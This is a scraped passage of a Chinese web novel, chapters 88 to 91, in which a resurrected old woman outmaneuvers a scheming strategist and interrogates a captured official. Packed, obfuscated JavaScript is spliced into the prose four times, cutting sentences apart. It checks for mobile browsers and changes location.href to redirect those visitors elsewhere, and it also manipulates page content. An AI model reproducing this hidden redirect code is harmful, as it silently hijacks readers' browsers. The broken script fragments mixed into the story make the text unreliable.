;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733859|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数,世世好命,那自然是在其他地方下了功夫的。 这,也算是,一种本事吧。 既然没有鬼抗议,说明鬼也都同意,跟他一个神有什么相干? 这是鬼的选择。 倘若有鬼看不过去,那些鬼自然会反,阴间也会得到净化。 万事万物都遵循道的发展。 发展到一定极端后,就会触发自净的功能,走向另一个极端。 他不过是旁观者,或者说平衡者。 因此,也不能说他完全不管事的,他不管事,就是最大的管事。 金身罗汉回忆道:“这个风和畅吧,前二十世,都通过贿赂地府里的官儿,获得了极好的命数,全是世袭。” 衡羿冷声佩服道:“那他挺厉害的。” “嗐,还用你说?改人命数,那要买通一整路呢,不光你们道家的,我们佛家的也有啊。可惜,二十一世的时候,遇上了你小妻子的爹娘,也就是你的岳父岳母。” “他们怎么了?” “你那岳母是个脾气爆的,不过你那岳父啊,不得不说,真是个极会来事儿的人。他虽然是第一次在地府当官儿,可是也知道这地府的规矩,应该跟人间没什么不同。那在人间,他经常跟在那些贵人屁股后头混,就是学也能学出三分样子。不过,他可谓是青出于蓝而胜于蓝。” 衡羿有些不耐烦道:“他到底怎么了?” “人间那当官儿的嘛,有时候也不是自己愿意拿,只是自己不拿,别人怎么拿?碍了别人的路,那肯定是不成的。你那岳父深谙这一点,所以——” “所以,他拿了?” “没有。他高明就高明在这里。你岳父没拿,但是不妨碍别人拿,并且还帮人保密。不过,这个事儿,也不算帮风和畅办,但也不算没帮他办。” 衡羿冷笑道:“这是怎么个说法?” “哎呀,如办嘛!就是办了,但没完全办,无限接近于办的状态。” 金身罗汉把衡羿说得一头雾水。 他并不知道,这事儿究竟办成了什么样子。 光是听起来就很复杂。 “你那老丈人啊,多少还算有点良心,不愿意抢别人的命数给他,但是又怕自己太过清高,到时候遭人排挤,所以给自己立了个窝囊废人设。说自己不敢要这钱,但是这钱让他对别人照给不误。至于事儿呢,他给他办到六成。” 衡羿问道:“怎么算六成?” “你老丈人给他保留了二十世的记忆,并且啊,你老丈人送他投胎时,最后说的那番话,真是刀切豆腐,两面光。” “他说,卿本就是王侯将相之才,何须做这污糟之事?抢人命数,就算成功了,到时候,名不正言不顺的,岂不是白费了咱这将军筋,宰相骨?请君放心,只要有这二十世的记忆,任凭你出自清贫之家,日后定可封侯拜相。到时候,咱们青史留名。以布衣之身,将天下尽收掌中,这听起来才带劲儿啊!” 衡羿听完确实心中有无尽感叹。 小人物卑微投巧的生存智慧,往往比大人物那些大开大合的,要更让人觉得震撼。 金身罗汉心服口服道:“你看看,这话说得多漂亮。风和畅就这么带着二十世的记忆投胎了,投到了他原本的家庭中。” “有着二十世权谋算计的老阴比,在乱世这种文化断层,人心溃散的时代,是最好出头的。风和畅二十来岁,果然混成了军师,成为了这支队伍的实控者。” “不过,也因为你岳父在地府办事儿,实在太过仁慈漂亮了,不成想给自己在人间的女儿,送来了这个大患。” 89. 你记不记得 不好说对错,但确乎是因果。 从他这里制造的转世漏洞,终究要让自己的女儿来面对。 有些事,该逃的逃不掉。 花祝年此番也是吃上自己的席了,她的胃口比进棺材之前还要好。 风和畅跟一众将士们,一直在说她死而复生,是有天命在身。 还拿几十年前的薛尘,来跟她作比较。 说他们都是被天雷所救。 花祝年一边啃着红薯,一边摇头:“那不能,没这回事儿。我之前就是没死透,不然也不会醒过来。至于被雷劈,这完全就是赶巧了。” 风和畅谄媚道:“可您就是有天命啊,这首领还得是您来当。” “别我当了,我给大家做饭还行。一辈子没走出过这个村儿,我就是个嘛也不懂的小老太太,我带个屁的兵,打个屁的仗。之前马卡龙,当得就不错,还是让他来吧。” 小老太自从醒过来后,就没见过马卡龙,也不知道他的下场如何了。 她想知道,风和畅是如何对待弃子的。 风和畅看了一眼贺平安,无奈道:“贺大哥,你看这,这——” 他“这”了半天,也没“这”出个所以然来。 倒也没有真的如何局促,他就是单等着贺平安这个没脑子的说话呢。 贺平安果然不负所望:“婆娘,那马卡龙几天前被我砍了。要不是他往你肩上钉那两颗钢钉,你也不会遭这么大的罪。” 花祝年一听这种话,就是风和畅跟贺平安说的。 唉,这个老蠢货。 被人当刀利用了都不知道。 贺平安确实是这样的。 其实,倘若花祝年没有死而复生的话,他殉情是最好的结局。 否则,就是被风和畅这种人,利用至死的下场。 他冲动,易怒,天不怕地不怕,仿佛没有什么能约束得住他。 可偏偏他越是这样,就越是有一张网在时刻笼罩着他。 在这个世界上,花祝年可能不是最爱他的那个,但绝对不会让他以身涉险。 她对他的确没有情,但是有义。 他是她搭伙过日子的家人。哪怕是出于义气,她也不会伤害他。 花祝年不禁拍了拍贺平安的颈,让他没事儿就喝点酒,堵上自己的嘴。 别在这里被人下了套,都不知道。 贺平安没有意会到,一心向她求表扬:“嘿嘿,婆娘,你说我做得对不?” 他像个既通人性,可是又不那么通人性的畜生。 让人畏惧又怜悯。 花祝年瞪了他一眼:“你喝你的吧。” 贺平安虽然没什么脑子,但是能感觉到她的不高兴。 他低下头喝着闷酒,不知道她为什么不高兴。 等他再一看同一桌的宋礼遇,发现对方正目不转睛地盯着自己婆娘看。 贺平安气得一拍桌子,拿刀指着宋礼遇骂道:“你他妈的,到底是来吃席的,还是来偷婆娘的?吃你的吧,老看什么!” 宋礼遇冷笑道:“你消停点吧,别老给她丢人,连带着我也丢人。” “你丢什么人?” “她是我夫人,你是我夫人的男人,你若是知书达礼倒也罢了,偏偏活得这样……一言难尽。” 贺平安举起刀,想一刀劈开这张桌子。 花祝年忽然出声道:“我没有觉得他如何丢人。” 贺平安憋了一肚子的火,瞬间就熄灭了。 他爽了。 当即就被哄好了。 其实,只要她愿意哄他,他也愿意哄她。 他的要求本来就不高。 不许她看别的男人,不许她跟别的男人说话,不许她身边有别的男人出现,不许她再想着前夫哥,不许她再供奉前夫哥,不许她再梦到前夫哥,不许她瞧不起他,不许她嫌弃他,不许她拒绝他,出门前跟他报备行踪,去老姐妹儿家里也要按时回家,还有一天给他做三顿饭,白天做完必要的家务外,晚上要心甘情愿地跟他睡觉…… 除了这些,也就没有别的了。 如果她都能做到的话,那他们就会是特别特别好的一对。 就像现在一样,她只要一句话,就能让他开心半辈子。 真的。 老开心了。 贺平安很想听她在别的男人面前维护自己。 哪怕他配不上,可就是想听。 他真的很喜欢她,很喜欢很喜欢。 风和畅看得出桌上的气氛紧张,连忙将话题从感情上,拽回到首领上来。 “兄弟们都想你当首领,带着我们打天下。跟着有天命的人,心里才有底气,是不是啊,兄弟们?” 下面席上的人一片附和声。 花祝年现在面对的,并不是一个二十来岁的少年郎。 而是一个七老八十的老登。 她虽然并不知道内情,可是她居然能感知到,对方似乎没有年龄上的浅薄无知。 说出来的话,有种深厚的油腻感。像灶台上积攒了几十年的老油,用锅铲铲都铲不下来。 张口闭口都是兄弟的,不是小人,就是奸诈小人。 绝对跑不出这两种。 喊一声兄弟,就奔着要你一辈子卖命去了。 她干笑了两声道:“我恐怕真的要辜负大家了。这个事儿,干不了。我不是干这个的材料,再说了,让我一个小老太当首领,这里也没有人听我的啊。” 风和畅拍着胸脯保证道:“听,都听你的!怎么不听啊?谁敢不听啊?谁不听,我斩了他!就算不用我斩,贺大哥也早就上手斩去了。你就是我们唯一的首领,别人抢都抢不走。” 衡羿在下面的席上,跟兵革仙还有她儿子坐在一起。 那桌都是半大点儿的孩子,也就是俗称的跟小孩儿一桌。 兵革仙带着这群孩子,一投明主,二投明主,再投明主…… 无论投几次,只要能吃饱饭就好。 衡羿跟兵革仙商量道:“我就是问问,就不能现在弄死他吗?” 兵革仙猛灌了一口冷酒,拍着桌子跟他吼道:“你可拉倒吧!光你小妻子那套,根本行不通的。今后,群雄割据,你不知道她要跟多少人斗。身边放着个这样奸猾油腻的,还算是护身符呢。有些事儿吧,就得这样的人来办。旁的人,镇不住。” “你虽是轮转过百千万世,体察的是世态民情,可你打仗没我经验多。哪个体面人身边,没几个办脏事儿的?风和畅跟你小妻子,虽然说不上一时谁主导谁,不过,你以为杀了风和畅,她身边就全都是好人了?指不定来一个比风和畅更厉害的。” “特别是她现在,死而复生,就这么会子,吃席的功夫,那附近的镇子,早就传遍了。很快各方势力,就会知道她有天命在身。衡羿仙君,你当初就是有天命在的。你比我更知道,天命是个什么烂玩意儿。那说白了,就是被人利用的。” “她如今的处境,跟你当初一样。是用来安抚众生的主心骨,也是被供起来的吉祥物。倘若她自己立不住脚,那就会成为各方势力,争抢的香饽饽。” “说什么天命在身,到最后谁抢了她,谁才是真正地天命在身。要么说天道老登,贱得慌呢。这么早就让她显露出来,跟竖了个活靶子一样。” 兵革仙执掌天下兵革之势,主肃杀、革新。 常年混迹于战场。 战场上,大义是有的,可私利也是少不了的。 但没办法,还是得打。这不是她的选择,是天意的推动。 当初她下凡的时候,她男人百般不愿。 可实际上,她还真不爱在天上待。 上边儿真是没有劲儿,不如下来杀个痛快。 金身罗汉说得没错,花祝年的处境,的确非常危险。 花祝年也预感到了。其实,她从刚醒来的时候,就已经想到了这般情景。 这才一个劲儿地拒绝,但也不是真的拒绝,只是在试探。 风和畅其实也挺纳闷儿的。 他并不理解她为何总是推辞,一般来讲,只有两种可能。 一种是,她是个没见过世面的小老太,就想过太平日子,不愿意当首领。 另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738351|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种,则是在跟他演三辞三让的戏码,可这是帝王受封时的谦让之礼。他不觉得她一个小老太会知道。 不过,这两种,无论是哪一种,她的表现都很反常。 一分力都没出,平白无故地让她当这个首领,换了旁人,早做春秋大梦去了。 她到底在怕什么? 风和畅并不知道这小老太身上,究竟有没有天命。 天道刚才对衡羿所下的旨意,凡人是无从窥探的。 可他之所以说她有天命在身,完全是为了利用她这份死而复生的奇遇。 不然人心这样散,还有什么能将人号召起来呢? 风和畅要的不过是一个傀儡。 他有着绝佳的造神能力,这个傀儡谁当都行。 马卡龙行,贺平安行,花祝年也行……任何一个人,只要听话,那都行。 没什么不行的。 不过,最好还是花祝年来当。 毕竟她是大家眼睁睁地看着,埋进土里待了七天,还能被天雷劈开坟墓,砰地一下活过来的人。 风和畅也不管花祝年的推辞,到底是暗藏了什么心思。 总之,他说来说去,这个首领,她当定了,就不要推辞了。 在两人来回打了半天太极后,风和畅演着演着自己都要信了。 他红着眼睛恳求她道:“算我求你了,你就接下这个担子吧。兄弟们,真是——” 他话都还没说完,花祝年突然斩钉截铁道:“行,那我当了。” 这下换风和畅心里不好受了。 不是,这不是他所想象的场景啊!她可以当,但必须得是受他控制下的当。最好是他逼着她,她窝窝囊囊地当。 怎么能突然打断他的话呢?他突然有种被人玩了的感觉。 她是不是,早就想当啊? 花祝年坐在高台上,跟一桌狡猾的男人,吃着自己的头七席。 待她吃饱喝足后,忽然就掀桌子了:“把宋礼遇这个狗贼拿下!反抗护主者,立地斩杀!” 宋礼遇带来的那列精锐,正混在下面的席中,跟风和畅这边的士兵一起吃酒呢。 没人想到她会来这么一招,两边的人都没想到。 虽说她是首领,可是士兵们,还是只听风和畅的。 只要风和畅没说话,士兵们都不敢轻举妄动。 但是,宋礼遇带来的是精锐骑兵,是最会审时度势的。 在风和畅那边的士兵,还沉溺于两边交好之际,宋礼遇这边的精锐已经开杀了。 全然忘却了,这是刚才一起喝酒的弟兄。 不踩着你的尸体往上走,你就要踩我的尸体往上走了。是兄弟,就给我砍一刀。 风和畅迫于无奈之下,只能按照花祝年的意思来下令。 再不下令,自己的人就要被对方杀没了。 可这并不是他的本意。 他本意,是想跟宋礼遇交好的。如果能得到他的一二分资助,那就更好了。 没想到,大好的局面,就这样被一个不懂事的小老太给破坏了。 两边厮杀了半夜,宋礼遇虽然带来的是精锐,可毕竟抵不过风和畅这边人多。 那批精锐骑兵被尽数斩杀。 他们骑来的战马,就成了大自然的馈赠。 宋礼遇被五花大绑地按在了花祝年的面前。 他痛苦地嘶吼道:“你还是恨我!你到底为什么这么恨我?我做错什么了,你要这么对我?我害过别人,可是没害过你!我今天,是来接你回家的!我来是要给你至高无上的荣耀,让你入我宋家的祖坟。你记不记得,我们,已经成亲了!” 花祝年经过方才的试探,已经知道自己直接下令不顶用了。 就是间接跟风和畅下令,也还是不顶用的。 她根本指挥不动这里的人,唯一听她话的只有贺平安。 她对贺平安说道:“你去把他弄死,怎么弄死都行。泄愤也好,羞辱也罢,我只要他死。死无全尸也没关系,总之随你开心。” 宋礼遇被贺平安拖走了,咆哮嘶吼着骂了花祝年一路。 90. 喜欢归喜欢 风和畅拦都拦不住,毕竟贺平安莽起来,是连天王老子都敢砍的。 他只是一个小军师而已,犯不着跟这种不要命的人较劲。 再者,他们已经杀尽了宋礼遇带来的精锐骑兵,已经没有退路了。 放宋礼遇回去,有如放虎归山。 短短几秒的时间里,风和畅权衡了一下利弊,最终还是听了花祝年的。 这样一来,还可向她表忠心。 不至于让两人一开始的合作,就像方才那般尴尬。 他们今后相处的日子还长。 因为刚刚经过了一场厮杀,桌上的酒菜溅上了血,都没法吃了。 活下来的人,也就借着酒劲儿,回去睡觉了。 风和畅见花祝年行动不便,就想搭把手去扶她,却被她拒绝道:“你睡你的觉去吧。我给我家那口子,去煮碗醒酒汤。” 风和畅笑了笑:“你们感情真是好啊,贺大哥为了你什么都肯做。” 花祝年深深地看了风和畅一眼:“你觉得他很好么?” “好啊。他是我见过最护妻子的男人。” “你喜欢送你。” 风和畅脸上的笑忽然就挂不住了。 “我一个男人,要贺大哥干嘛?首领莫不是吃醋了?” 花祝年蓦地停了下来,面色微沉地说道:“你不要他,干嘛让他为你出生入死?他死了,你葬他?” 风和畅装傻道:“哎呦,这是哪儿的话啊?贺大哥怎么是为我出生入死呢?他是为你出生入死,为大义出生入死,为镇子上的老姐妹儿出生入死。无论是他劈马速成,还是砍马卡龙,哪一件事是为我做的呢?还不都是为了你们?” 花祝年没有接风和畅的话茬儿,她看着天际的繁星说道:“你以为你是谁?” 风和畅怔住了,完全跟不上她话锋的转向,甚至一时有些语塞。 “我没觉得我是谁,我就是一个小军师,真心想带着大家伙一起办点事儿。” 花祝年伸出手去触摸星光:“我小的时候,喜欢把手遮在眼睛上,看天。这样,好像天落在我手一样。星星和月亮,也尽在掌中。” 风和畅的眼中蓦地露出了凶光。 连马卡龙他都能弄死,一个小老太算什么? 也配在这里敲打他? 花祝年转过身看向风和畅:“没有人能一直只手遮天的,那是小孩子才相信的事。利用什么,就会遭什么反噬。无论是贺平安,亦或是别的什么人,等他们发现自己被骗的那一天,就是衰落的开始。” 风和畅冷笑了一下:“就凭他们么?你知不知道,有些人,看似是活在同一片天地中,脑子里的东西却差了十万八千里。可能我这一世都过完了,他们都没想明白我如何设的局,但事儿我早已经办成了。这也是为什么,有人世世王侯将相,有人世世被利用。” 花祝年疑惑道:“你把套路在这一世用完了,都不想后人怎么生活么?现在消耗大家的赤诚,等后世更乱的时候,还怎么聚集人心?谁还会相信呢?” 风和畅忽然放肆大笑:“这些东西又不会有人记载和知晓,到时候又有新的一波蠢货出现了。你这辈子都没过完,想什么后世如何生活?” 花祝年出人意料地坦诚道:“我不知道。” “什么?” “我说,我不知道,自己为什么会忽然想到后世。就好像是在一瞬间,想到了。” 她曾在连接阴阳两界的桥上,见到了一百二十年的乱世。 不是乱世只有一百二十年,是她只能看到今后的一百二十年。 两个甲子,都没能解决。全是由于信任被无限消耗,茫茫人间连天都是暗的。 风和畅对花祝年调侃道:“人老了,就是觉少,你快点去给你们家那口子煮醒酒汤吧,省得到时候又挨他揍。” 风老登说话是非常之贱的。 他以为提起一个女人被家暴,就是对她最大的攻击。 花祝年也的确内心隐痛了一下,不过,也就是一下而已。 “我还是那句话,如果,你没准备葬他,就不要利用他。省得被他看出来,一刀劈了你。” 风和畅不以为意道:“他连你不爱他都能忍,对我有什么不能忍的?” 花祝年冷笑道:“那不一样。他最恨别人欺骗他。如果有一天,他发现你跟他想象中的不一样,你的承诺没有实现,你待他并不像所说的那样好,他的刀会毫不犹豫地落到你的头上。不仅他是如此,很多人都是如此。” “可能如你所说的那般,有很大一部分人世世都是傻子,永远看不出自己被人利用。不过,你为什么不想一想,今天他可以因为傻被你利用,明天也可以因为傻被别人利用?等他被别人利用着挥刀砍向你的时候,不知道你会不会后悔,当初没有开启他的智慧?” 风和畅从没想过这些。 因为,他不会给别人挥刀向自己的机会。 傻子唯一活下去的价值,就是被他所用,一旦背叛,那就成了敌人。 他没那么多闲心,教傻子分辨是非。 花祝年临走前,再次警告他:“应该会打很长时间的仗,你与其伪装个三五十年,不如趁年轻改改自己的品性。借假修真的人不是没有,从现在开始改不算晚。” 风和畅不屑地嗤笑一声。 花祝年也并不觉得如何被瞧不起,哪怕他现在确实瞧不起她。 可她仍自顾自地说道:“其实,合伙做生意,一起打天下,跟夫妻间搭伙过日子,也没什么不同。有很多夫妻,都是一开始,利益算计虚情假意,但只要日后相处得好,互相让利,互相疼爱,也是能把日子越过越好的。可只要有一方执迷不悟,那就会天天吵架,打架,甚至是产生不可扭转的动荡。” 其实任花祝年再怎么劝,都是没有用处的。 风和畅不会听。 他的执念也很深,深到无处可解。他十世王侯,十世将相,在这一世,也必须大权在握! 天地为炉,百姓为羹,被他反复煎熬。 风和畅对花祝年,是充满鄙夷的。一个山野之间的小老太,根本不配跟他搭伙过日子。 他们之间,只能是牵制与服从的关系。 花祝年煮好醒酒汤后,拎着壶去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742726|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后山。 这片山绵延不断,是十几个村镇的依靠,里面埋了数不清的尸体。 山林间游荡的均是恶魂。 花祝年坐到宋礼遇身旁,给他灌着醒酒汤。 宋礼遇哪怕脖子上架着贺平安的大砍刀,看到这番情境,恋爱脑都止不住地蹭蹭往外长。 他喝了几口汤,对花祝年说道:“你舍不得杀我,是不是?” 花祝年看了贺平安一眼,贺平安磨着牙地不搭理宋礼遇。 她无奈道:“你先清醒清醒。” 宋礼遇凑到她面前:“你明明可以站着喂我,可你却坐到我旁边喂,你还是在意我的。” 贺平安的砍刀在他脖子上,硬压了一下:“你他妈找死是不是?都说了,让你清醒清醒!” 宋礼遇看也不看贺平安,蓦地冷笑道:“一个男人,最失败的,就是为了女人争风吃醋。你就不能大气点成全她吗?反正,我们都已经成亲了,这事儿都摆在这儿了。你要是做大的,也成。那我做小的呗。” 花祝年赶在贺平安一刀砍死宋礼遇前,对他解释道:“我腰疼。” 宋礼遇担忧道:“那你让他把我解开,我给你揉揉。你这是老毛病了,等我带你回京城,给你找个好点儿的推拿师傅,让他天天伺候你。” 她又给他灌了几大口醒酒汤:“不是。我坐下喂你,是因为我腰疼,没办法弯腰。” 宋礼遇瞬间就蔫儿了:“哦。” 花祝年放下碗,拍了拍他的颈:“你清醒点儿了吗?” 她之前看他在酒席上喝了不少酒。 宋礼遇闷声道:“我本来,也没醉。我酒量很好的。就咱们成亲那天,那文武百官给我敬酒,都没把我喝倒。” 贺平安听不了这个:“我看你是真想死了!” “那你就砍死我。反正,我死了,她也得惦记我。我算是看出来了,她就是喜欢死了的人。到时候,她屋里摆俩小泥人儿,一尊前夫哥,一尊我。让你天天看着,气死你。” 贺平安看向花祝年:“婆娘,你到底留着他有嘛用?我就不能砍了他吗?” 花祝年难堪道:“要不,你再忍忍?我一会儿就说完了。” 贺平安是听话的,可他又实在是气,最后拿起刀背邦邦地,在宋礼遇头上狠敲了几下。 宋礼遇被折磨得不轻,靠在花祝年怀里哭,又被贺平安一把揪了回来。 花祝年认真地问道:“你出京城的时候,皇帝老儿是不是已经病重了?” 宋礼遇红着眼睛装傻:“不知道啊,宫内的事,我一个宫外的,怎么会知道呢?” 喜欢归喜欢,可他也不是什么都跟她说。 况且,他知道她是个狠角色。 搞不好,从他这里套点什么消息,套完就杀了。 那他就什么都没有了,还会对她又失望又爱慕。 花祝年坦诚道:“我就直说吧,我从下边儿来上边儿的时候,看见他了。我上来,他下去,刚好跟他打了个照面儿。他跟我说了一句话。” “什么话?” “你迟早也会像我这般荒唐。” 91. 你不敢留我 宋礼遇忽然沉默了。 他颈上的大砍刀,似乎是待了太久的缘故,已经不像方才那般冰冷了。 甚至接近他的体温,让人愈渐地觉察不到。 良久之后,他才感叹道:“难说。” 花祝年忍不住对宋礼遇探寻道:“我一直以为,这些人是不知道自己有多荒唐的。” 宋礼遇干笑了几声:“怎么可能不知道呢?这跟你种田也差不了多少。播多少种子,出多大收成。如果自己什么都没种,家里却满仓的粮食,那就是抢的呗。要么怎么说,‘硕鼠硕鼠,无食我黍呢?’其实,这世道从来就没变过。” 说完又怕自己挨打,他特意跟她解释道:“这不是我说的啊,这是当时我还在镇子上时,一个教书的老先生教我的。当时,前前前前前前朝,不是没想过自救措施,特地下拨了一批御史。你知道的,我爹为非作歹,欺男霸女,磋磨人惯了,所以我当时吓得连书都读不下去。” “可是,那个老先生跟我说,哪个朝代没有御史呢?又有哪个朝代没亡过?朝代从诞生之日起,就面临着灭亡。基层构建是绝不能大动的,那就是上层建设的爬犁,动了就会天下大乱。你就放心吧,你爹不会有事的。不只你爹不会有事,所有人的爹都不会有事。” “他还教我辨别形势,说你不要听那些肉食者吹五拉六地说什么,要看自己的生活在古书上找不找得到,这才是判断日新月异的唯一准绳。如果现在所遭的罪,千百年前的人也受过,那就说明所有人一直在这里打转,从来没有走出去过。像迷失在森林里一样,一直困到死。” 花祝年给自己倒了碗醒酒汤。 一饮而尽。 其实有点儿不太想干了,她忽然觉得去修道也挺好。 实在不行带着贺平安,找个山洞修道去。 宋礼遇看到花祝年眸中黯淡的光,他颇为骄傲地说道:“你知道,我为什么瞧不起你们吗?” 贺平安拿刀在他颈上来回拉锯了几下:“你找死是不是?瞧不起谁呢?” 宋礼遇叹气道:“哎呀,你这个莽夫,跟你有关系吗?怎么竟找骂呢?连个话都听不懂!我说的‘你们’不包括你哈。我说的‘你们’是,她和历代被士族控制的帝王。” “以后她要是真夺了天下,被史官来写的话,那也是列在帝王本纪里的。可你就是个臭种地的,连被我看不起的资格都没有,因为我都不看你。你没有被记载的资格,我这么讲,你明白了吗?” 宋礼遇是有些傲气的。 被贺平安拿刀这样抵着,他不开心,非常不开心! 他觉得自己肚子里这点儿货,换了任何一个草包,都能被他捧上皇位,天下万民都将臣服于自己。 贺平安凭什么这样待他? 他也不过是有一把大砍刀而已。 可是大砍刀是什么呢?是英雄的标配吗?不,是驴前面套的嚼子。 他每换一次主人,那个主人就会给他新打造一把砍刀,也就给他套个新嚼子。 哈哈哈哈哈哈!一个莽夫,真把自己当回事儿了啊。 贺平安扔下自己的大砍刀,拎起宋礼遇,往旁边的树上,摁着他的头猛烈地撞了几下。 树干都被撞裂了,宋礼遇撞得满头血。 血淌了一脸,他恼道:“士可杀,不可辱!” 贺平安才不听这个,踹倒宋礼遇,解开裤子,就往他身上撒了泡尿。 热尿浇在身上,宋礼遇像人死了一样,魂魄已经走了一会儿了。 花祝年无奈地别过头去,唉,你说你惹他干什么啊? 贺平安撒完尿,又把宋礼遇拎起来,抽了他两巴掌。 “我婆娘问你什么,你就回答什么。别说有的没的,瞧不起谁啊!他妈的,我还瞧不起你呢!算什么东西?” 宋礼遇现在是真的想死了:“你杀了我算了!又要问我话,又要羞辱我。” 说完又看向花祝年:“你怎么找了个这样的?你这些年是怎么过的啊?我都心疼你。” 贺平安猛地将宋礼遇的头冠削了下去。 宋礼遇头上一凉,发髻散落下来。身上沾了尿骚味不说,整个人蓬头垢面的。 坐在地上嚎啕大哭。 花祝年无奈地看着贺平安:“我话还没问完呢,你能不能不要让他哭了?” 贺平安上去就踹了宋礼遇几脚:“听见没?我婆娘不让你哭了。” 宋礼遇哪儿受过这个罪,疯狂咆哮道:“你弄死我,你弄死我吧!我不想活了!” 贺平安治胡搅蛮缠的人很有一套:“再哭尿你嘴里。” 宋礼遇当即就闭上了嘴,大颗大颗的泪滴,一个劲儿地往下掉。 他这是为什么啊! 为什么要在这么乱的世道,来这里接她回家? 她从未喜欢过他,还任由一个莽夫来羞辱他。 花祝年并没有给他多少调理心情的时间。 她对他问道:“为什么瞧不起那些人?就因为,他们是你扶持上去的吗?” 宋礼遇看了贺平安一眼,不开心地说道:“不是。倘若光是因为这个,倒也没到瞧不起的地步。” “那为什么,这样瞧不起?” 宋礼遇小声嘟囔道:“你给我擦一擦,我才讲。” 花祝年刚拿出锦帕来,就被贺平安一把抢走了。 他拿着帕子往他脸上胡乱地蹭了蹭,蹭完就丢了。 锦帕在暗夜中飞舞,宋礼遇看到了上面绣着的两条游动的锦鲤。 内心痛得要命。 她既然带着他送的帕子,为何要这样糟蹋他呢? “我看不起他们,是因为他们太容易遭到引诱了。上去之前明明都是穷苦人,他们能不知道什么样的策略,是对百姓好,什么样的策略,是在掠夺吗?当然知道了。可只要我一提,他们就应允。一个个不知道自己干嘛吃的,自然是让人瞧不起了。” “你以为他们不知道自己是傀儡?他们当然知道了!可是,大家都很乐意当呢。说起来是被迫做这荒唐事,实际上,谁享受谁知道。江山几代易主,就是因为这种草包的可替代性太强了。换他妈的几个壳子,都改不了吃屎的本性。” “不过,你一个小老太应该不懂这种感觉。我对这些人有着顶级的掌控,精准地拿捏着他们的每一个弱点。看着他们跌落万丈深渊,最后还高喊着是我这种权臣,耽误了君主。他妈的,一个个自己没自制力,就说自己昏庸好了,跟我有什么关系?” 花祝年大概理解宋礼遇,为什么会看不起这些人了。 上去之前豪言壮志,上去后都当了狗。 无一例外。 宋礼遇是从来看不起反抗者的。 他觉得他们最后都会背叛,当初所立下的誓言。 让一切都变成笑话。 因此,他才会在前朝君主,说了那样的话后,评了句“难说”。 花祝年对宋礼遇问道:“宋大人,你可愿帮我?” 宋礼遇愣了好久后,才勉强说道:“我有点儿不愿意。要是像你刚才说的那样,老皇帝在你死而复生的时候死了,那现在肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749114|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经新帝登基了。可新帝我知道啊,是个比老皇帝还草包的草包。不久后,就会全都反的。” “我的幕僚跟我说,天下蠢蠢欲动的势力分十九股。你这小山沟里的队伍,根本算不上号。我就是投奔,也是去找庞大的势力,哪里看得上你这小门小户的。” 花祝年点了点头:“说得也是。” 她知道他一向如此,没有利益的事是不做的。 以绝佳的眼光,挑选最昏的明主。 宋礼遇看了她一眼,又别别扭扭地说道:“不过,你,你若是求我,我也不是不能帮。” 贺平安怒道:“婆娘,你别求他,让我砍了他算了!” 宋礼遇梗着脖子闹道:“砍砍砍,你砍!你砍死了我,她一辈子当风和畅的傀儡,到死都是。” “那老子再砍了风和畅!” “你砍了风和畅,还有下一个风和畅。你以为她没预料到?她若是没想到的话,就不会把我带来这里了。” 花祝年认真道:“宋大人,我求求你了。” 宋礼遇心里又不好受了。 她让人羞辱他,他生气,可是她求他,他也不开心。 “你怎么还真求啊?” 花祝年叹气道:“求个人算什么难堪的事?又不缺胳膊少条腿的。” 宋礼遇思索了一下道:“好吧。老夫就留下来,帮你制衡风和畅。” 花祝年突然低头笑了笑:“那倒是不用。我所说的让宋大人帮我,是想你去投靠别人。” “你这是什么意思?” “依你看,这十九股势力,最后谁会胜出?” 宋礼遇想了想:“我幕僚说,慎王的可能性比较大。” “我想你去投靠慎王。” 宋礼遇忽然就汗流浃背了:“你,你你你,你早就这样打算的是不是?从你醒来,你就知道要变天了。一面假意吃席喝酒,一面想着对策。你不敢留我,也从未想过留我,你怕我跟风和畅联手,到时候你就更难以挣脱。为了破坏我跟风和畅的联盟,你不惜杀了我带来的那列精锐。你从来就没有相信过我!” 花祝年面色尴尬道:“也不是全然没有相信过。” 